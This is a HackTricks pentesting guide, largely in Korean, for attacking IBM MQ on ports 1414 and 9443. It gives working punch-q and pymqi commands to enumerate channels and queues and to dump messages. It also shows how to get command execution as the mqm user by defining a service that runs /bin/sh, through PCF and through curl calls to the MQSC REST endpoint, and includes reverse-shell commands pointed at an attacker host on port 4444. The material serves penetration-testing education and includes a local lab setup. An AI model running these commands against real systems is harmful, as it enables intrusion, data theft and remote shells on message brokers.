1414 - Pentesting IBM MQ

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

IBM MQ는 메시지 큐를 관리하기 위한 IBM의 기술입니다. 다른 메시지 브로커 기술들과 마찬가지로, 생산자와 소비자 사이에서 정보를 수신, 저장, 처리 및 분류하는 데 전념합니다.

기본적으로 IBM MQ TCP 포트 1414를 노출합니다. 때때로, HTTP REST API가 포트 9443에서 노출될 수 있습니다. 메트릭(Prometheus)도 TCP 포트 9157에서 접근할 수 있습니다.

IBM MQ TCP 포트 1414는 메시지, 큐, 채널 등을 조작하는 데 사용될 수 있으며, …하지만 인스턴스를 제어하는 데에도 사용될 수 있습니다.

IBM은 방대한 기술 문서를 https://www.ibm.com/docs/en/ibm-mq에서 제공합니다.

도구

간편한 익스플로잇을 위해 권장되는 도구는 punch-q(Docker 사용)입니다. 이 도구는 Python 라이브러리 pymqi를 적극적으로 사용합니다.

보다 수동적인 접근을 위해서는 Python 라이브러리 **pymqi**를 사용하세요. IBM MQ dependencies가 필요합니다.

pymqi 설치

IBM MQ dependencies는 설치되고 로드되어야 합니다:

  1. https://login.ibm.com/에서 계정(IBMid)을 생성하세요.
  2. https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc에서 IBM MQ 라이브러리를 다운로드하세요. Linux x86_64용은 9.0.0.4-IBM-MQC-LinuxX64.tar.gz입니다.
  3. 압축을 풉니다 (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. 라이선스 약관에 동의하려면 sudo ./mqlicense.sh를 실행하세요.

Kali Linux를 사용 중이라면 mqlicense.sh 파일을 수정하세요: 다음 줄(105-110 사이)을 제거하거나 주석 처리합니다:

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
then
  echo "ERROR: This package is incompatible with this system"
  echo "       This package was built for ${BUILD_PLATFORM}"
  exit 1
fi
  1. 다음 패키지들을 설치하세요:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. 그런 다음, 임시로 .so 파일을 LD에 추가합니다: export LD_LIBRARY_PATH=/opt/mqm/lib64, 이러한 종속성을 사용하는 다른 도구를 실행하기 전에.

그다음, 프로젝트 pymqi를 클론할 수 있습니다: 흥미로운 코드 스니펫, 상수 등이 포함되어 있습니다… 또는 라이브러리를 직접 설치할 수 있습니다: pip install pymqi.

Using punch-q

With Docker

간단히 사용: sudo docker run --rm -ti leonjza/punch-q.

Without Docker

프로젝트 punch-q를 클론한 후 설치를 위해 readme를 따르세요 (pip install -r requirements.txt && python3 setup.py install).

그 후, punch-q 명령으로 사용할 수 있습니다.

Enumeration

punch-q 또는 pymqi큐 매니저 이름, 사용자, 채널 및 큐를 열거해 볼 수 있습니다.

TCP/1414가 차단되어 있거나 대상이 임베디드 웹 서버만 노출하는 경우, TCP/9443도 확인하세요. 최근 IBM MQ 버전은 mqweb이 활성화되어 있으면 기본적으로 해당 포트에서 IBM MQ Console / REST API를 노출하며, 관리용 REST 엔드포인트는 유효한 자격증명이 있으면 임의의 MQSC 명령을 실행할 수 있습니다.

Queue Manager

때때로 큐 매니저 이름을 얻는 데 아무런 보호가 없습니다:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

채널

punch-q는 기존 채널을 찾기 위해 내부(수정 가능한) wordlist를 사용합니다. 사용 예:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

일부 IBM MQ 인스턴스는 unauthenticated MQ 요청을 허용할 수 있으므로 --username / --password가 필요 없습니다. 물론 접근 권한은 시스템마다 다를 수 있습니다.

채널 이름 하나(여기서는: DEV.ADMIN.SVRCONN)를 알게 되면 다른 모든 채널을 열거할 수 있습니다.

열거는 기본적으로 pymqicode/examples/dis_channels.py 코드 스니펫으로 수행할 수 있습니다:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

… 하지만 punch-q는 그 부분도 포함하고 있습니다(더 많은 정보 포함!). 다음과 같이 실행할 수 있습니다:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

CHLAUTH / OAM 정찰

많은 “연결은 되지만 2035를 반환하는” 사례는 CHLAUTH 규칙이나 대상 오브젝트에 대한 OAM 권한 누락 때문에 발생합니다.

이미 MQSC에 대한 관리자 접근 권한이 있다면, MATCH(RUNCHECK)는 원격 연결에 어떤 규칙이 적용될지 가장 빠르게 파악할 수 있는 방법입니다:

echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR

9443에 있는 REST admin endpoint를 통해 동일한 검사를 원격으로 수행할 수 있습니다:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

If you have enough rights to use PCF remotely, IBM exposes MQCMD_INQUIRE_CHLAUTH_RECS, which returns the channel authentication records and their mappings to MCAUSER. That is useful to confirm whether a channel maps remote users to a more privileged local account before trying message access, object creation, or service abuse.

여기 pymqi (dis_queues.py)의 코드 스니펫이 있지만, punch-q는 큐에 대한 더 많은 정보를 가져올 수 있습니다:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

대상 queue(s)/channel(s)를 지정하여 해당 메시지를 sniff out / dump 할 수 있습니다 (비파괴적 작업). 예시:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

식별된 모든 큐를 주저하지 말고 반복 조사하세요.

코드 실행

계속하기 전에 몇 가지 세부사항: IBM MQ는 여러 방식으로 제어할 수 있습니다: MQSC, PCF, Control Command. 일부 일반 목록은 IBM MQ documentation에서 확인할 수 있습니다. PCF (Programmable Command Formats) 는 인스턴스와 원격으로 상호작용하기 위해 우리가 중점적으로 사용하는 것입니다. punch-q 및 더 나아가 pymqi는 PCF 상호작용을 기반으로 합니다.

PCF 명령 목록은 다음에서 찾을 수 있습니다:

흥미로운 명령 중 하나는 MQCMD_CREATE_SERVICE이며 문서는 here에서 확인할 수 있습니다. 이 명령은 인스턴스의 로컬 프로그램을 가리키는 StartCommand를 인수로 받습니다 (예: /bin/sh).

“주의: 이 명령은 사용자가 mqm 권한으로 임의의 명령을 실행할 수 있게 합니다. 이 명령 사용 권한이 부여되면, 악의적이거나 부주의한 사용자가 시스템이나 데이터를 손상시키는 서비스를 정의할 수 있습니다. 예를 들어 필수 파일을 삭제하는 등의 피해를 일으킬 수 있습니다.”

Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at /admin/action/qmgr/{qmgrName}/mqsc to run the equivalent MQSC command for service creation (DEFINE SERVICE). This aspect is not covered yet here.

If MQ Console / REST API credentials are available, you can often reach the same administrative primitives over HTTPS on 9443 without using the MQ client libraries. IBM documents /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc as an endpoint that accepts plain-text MQSC or JSON commands.

원격 프로그램 실행을 위한 PCF를 사용한 서비스 생성/삭제는 punch-q로 수행할 수 있습니다:

예제 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

IBM MQ의 로그에서 해당 명령이 성공적으로 실행되었음을 확인할 수 있습니다:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

또한 머신에서 존재하는 프로그램들을 열거할 수 있습니다(여기서 /bin/doesnotexist … 존재하지 않음):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

프로그램 실행은 비동기적이라는 점에 주의하세요. 따라서 exploit을 활용하려면 두 번째 항목이 필요합니다 (listener for reverse shell, file creation on different service, data exfiltration through network …)

동일한 기법은 REST API에서 수행할 수 있습니다:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

이것은 특히 다음과 같은 평가 상황에서 유용하다:

  • 9443에 접근 가능하지만 1414는 더 좁은 출발지 IP 범위로 제한되어 있다
  • 대상 팀은 주로 web console을 통해 IBM MQ를 관리하며 REST roles를 강화하는 것을 잊었다
  • 로컬에 IBM MQ client libraries를 설치하는 것을 피하고 MQSC-level administration만 필요할 때

예제 2

간편한 reverse shell을 위해, punch-q는 또한 두 가지 reverse shell 페이로드를 제안한다 :

  • 하나는 bash
  • 하나는 perl

물론 execute 명령으로 커스텀 페이로드를 만들 수 있다.

bash의 경우:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

perl용:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

커스텀 PCF

IBM MQ 문서를 살펴보고 pymqi Python 라이브러리를 직접 사용해 punch-q에 구현되지 않은 특정 PCF 명령을 테스트할 수 있습니다.

예시:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

상수 이름을 찾을 수 없다면 IBM MQ documentation를 참조하세요.

_MQCMD_REFRESH_CLUSTER 예시 (Decimal = 73). 이 명령은 MQCA_CLUSTER_NAME (Decimal = 2029) 파라미터가 필요하며, 해당 값은 _일 수 있습니다 (Doc: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
   args = {2029: "*"}
   response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
   print("Error")
else:
   print(response)

qmgr.disconnect()

테스트 환경

IBM MQ의 동작과 exploits를 테스트하려면, Docker 기반의 로컬 환경을 구축할 수 있습니다:

  1. ibm.com 및 cloud.ibm.com에 계정이 있어야 합니다.
  2. 다음을 사용해 컨테이너화된 IBM MQ를 생성하세요:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest

여기서 큐 매니저 이름은 MYQUEUEMGR (변수 MQ_QMGR_NAME)로 설정되어 있습니다.

최근 9.4.x 개발자 이미지는 기본 동작을 변경했습니다:

  • adminapp은 비밀번호를 설정한 경우에만 생성됩니다
  • IBM은 MQ_ADMIN_PASSWORD / MQ_APP_PASSWORD9.4.0.0부터 deprecated로 문서화했습니다
  • 권장 방법은 mqAdminPasswordmqAppPassword라는 이름의 시크릿을 주입하는 것입니다

Podman으로 빠른 로컬 실습을 하려면, 다음과 같이 두 사용자를 생성할 수 있습니다:

printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest

기본 개발자 구성에서는:

  • DEV.ADMIN.SVRCONNadmin 사용자만 허용합니다
  • DEV.APP.SVRCONN은 애플리케이션 채널이며 app 사용자가 예상되는 신원입니다
  • https://<target>:9443/ibmmq/console은 내장 웹 서버가 활성화되어 있을 때 웹 콘솔을 노출합니다

IBM MQ는 포트가 노출된 상태로 실행 중이어야 합니다:

❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:latest       "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQ docker images의 이전 버전은 다음 위치에 있습니다: https://hub.docker.com/r/ibmcom/mq/.

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기